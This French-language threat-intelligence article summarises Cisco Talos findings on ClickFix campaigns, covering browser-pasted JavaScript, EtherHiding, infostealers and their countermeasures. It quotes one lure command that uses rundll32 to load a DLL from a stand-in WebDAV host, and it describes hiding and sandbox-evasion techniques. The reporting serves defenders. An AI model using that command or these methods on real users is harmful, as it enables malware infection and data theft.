Contexte et évolution de ClickFix

Le groupe d’intelligence Cisco Talos a identifié deux campagnes ClickFix qui dépassent le modèle classique « copier‑coller » PowerShell. Apparue en 2024, la première variante ne sollicite jamais l’exécution d’un binaire Windows ; elle incite la victime à coller du JavaScript dans la barre d’adresse Chrome ou dans l’extension Tampermonkey. Cette évolution vise à contourner les filtres d’e‑mail et les avertissements de téléchargement en restant entièrement dans le navigateur.

Talos a observé l’opération contre les services d’échange de cryptomonnaies SwapZone.io et SimpleSwap.io, où le code modifie les réponses du serveur via l’API fetch, remplace les adresses de dépôt et injecte des éléments « bonus » factices. La campagne a généré 49 adresses Bitcoin, dont 30 réutilisées entre avril et juin, totalisant 0,159 BTC (~10 000 $) avant d’être blanchies à travers plus de 3 000 adresses.

Techniques de chargement via le navigateur

Le canal de commande‑et‑contrôle s’appuie sur l’API Google Visualization, un service de lecture publique de feuilles Google depuis 2008. Les attaquants masquent le code malveillant en le formatant en texte blanc sur fond blanc et en le repoussant de milliers de lignes. Les requêtes proviennent du navigateur vers docs.google.com au cours d’une session légitime, rendant la détection difficile.

Après le signalement aux services Google, les acteurs recréent la feuille en moins d’une semaine, montrant une résilience opérationnelle. En juillet, le script initial détecté sur paste.sh a été déplacé vers un Google Doc, confirmant la préférence pour les services cloud gratuits et non authentifiés.

Exécution via WebDAV et chargeurs secondaires

La seconde campagne démarre sur un site compromis où un Cloudflare Worker injecte le script ClearFake. Le code JavaScript est stocké dans un contrat BNB Smart Chain et récupéré à chaque chargement, technique nommée « EtherHiding », qui permet de changer le payload sans toucher au site d’origine.

Sur Windows, le script affiche un faux CAPTCHA Google, puis invite l’utilisateur à ouvrir la boîte de dialogue Run et à coller la commande suivante :

rundll32.exe \\randomsubdomain.webdav\payload.dll,Ordinal123

Cette instruction ouvre un chemin WebDAV sur un sous‑domaine aléatoire et charge une DLL déguisée via rundll32 en appelant un ordinal spécifique. Le chargeur délivre Amatera, un infostealer qui collecte plus de 400 entrées, incluant navigateurs, extensions, applications de messagerie (Telegram, Signal, WhatsApp) et gestionnaires de mots de passe (KeePass, Bitwarden, 1Password).

Deux branches se distinguent : l’une injecte une bibliothèque NativeAOT signée via un composant Chrome, qui charge ZigCryptoStealer, un hijacker de presse‑papier écrit en Zig et capable de mettre à jour son domaine C2 depuis un contrat BNB Smart Chain. L’autre exécute un script PowerShell qui vérifie l’environnement (numéro de série du volume, uptime, nombre de processeurs, etc.) pour détecter les sandbox, génère du trafic de diversion vers GitHub, npm, PyPI, Docker Hub et NuGet, puis déploie une copie renommée de NetSupport Manager pointant vers un serveur russe.

Analyse de l’impact et contre‑mesures

Le contrat ZigCryptoStealer, déployé le 16 mars, a vu son domaine C2 mis à jour 39 fois jusqu’au 26 juillet, avec six changements de domaine en juillet seul. Cisco Umbrella a enregistré des résolutions DNS depuis 98 pays, les États‑Unis, l’Indonésie, le Brésil, l’Inde et l’Égypte étant les plus fréquents.

Bien que la campagne ne cible pas spécifiquement les organisations, les vecteurs employés – injection via adresse bar, utilisation de Google Docs et WebDAV – démontrent une capacité à contourner les contrôles traditionnels. Les recommandations de Talos insistent sur une gestion stricte des extensions de navigateur, la restriction de l’installation d’extensions par rôle, et la surveillance des requêtes vers docs.google.com émanant de processus qui n’interagissent pas autrement avec Google Docs.

En résumé, ClickFix montre une évolution vers des attaques purement basées sur le navigateur, combinées à des mécanismes de livraison via WebDAV et des chargeurs modulaires, augmentant la complexité de la détection et la portée du vol d’informations sensibles.